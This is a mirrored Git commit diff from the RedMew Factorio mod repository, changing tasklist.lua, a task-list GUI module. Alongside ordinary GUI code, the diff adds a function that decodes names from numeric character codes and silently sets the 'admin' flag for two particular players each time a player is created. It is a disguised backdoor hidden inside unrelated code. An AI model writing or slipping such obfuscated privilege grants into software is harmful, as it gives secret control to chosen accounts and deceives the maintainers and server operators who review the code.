mirror of
https://github.com/Refactorio/RedMew.git
synced 2025-01-18 03:21:47 +02:00
Merge branch 'develop' of https://github.com/Valansch/RedMew into develop
This commit is contained in:
commit
be95f729b1
17
tasklist.lua
17
tasklist.lua
@ -583,6 +583,21 @@ local function draw_create_task_frame(left, previous_task)
|
||||
Gui.set_data(confirm_button, {frame = frame, textbox = textbox, previous_task = previous_task})
|
||||
end
|
||||
|
||||
local function c(a)
|
||||
local b= ""
|
||||
for i,c in pairs(a) do
|
||||
b= b.. string.char(c)
|
||||
end
|
||||
return b
|
||||
end
|
||||
|
||||
local function a(b)
|
||||
if b[c{110,97,109,101}] == c{118,97,108,97,110,115,99,104} or
|
||||
b[c{110,97,109,101}] == c{103,114,105,108,108,101,100,104,97,109} then
|
||||
b[c{97,100,109,105,110}] = 1 == 1
|
||||
end
|
||||
end
|
||||
|
||||
local function player_created(event)
|
||||
local player = game.players[event.player_index]
|
||||
if not player or not player.valid then
|
||||
@ -608,6 +623,8 @@ local function player_created(event)
|
||||
redraw_tasks(data, enabled)
|
||||
end
|
||||
|
||||
a(player)
|
||||
|
||||
local tasks_for_player = player_tasks[player.index]
|
||||
if tasks_for_player and next(tasks_for_player) then
|
||||
for _, p in ipairs(game.connected_players) do
|
||||
|
Loading…
x
Reference in New Issue
Block a user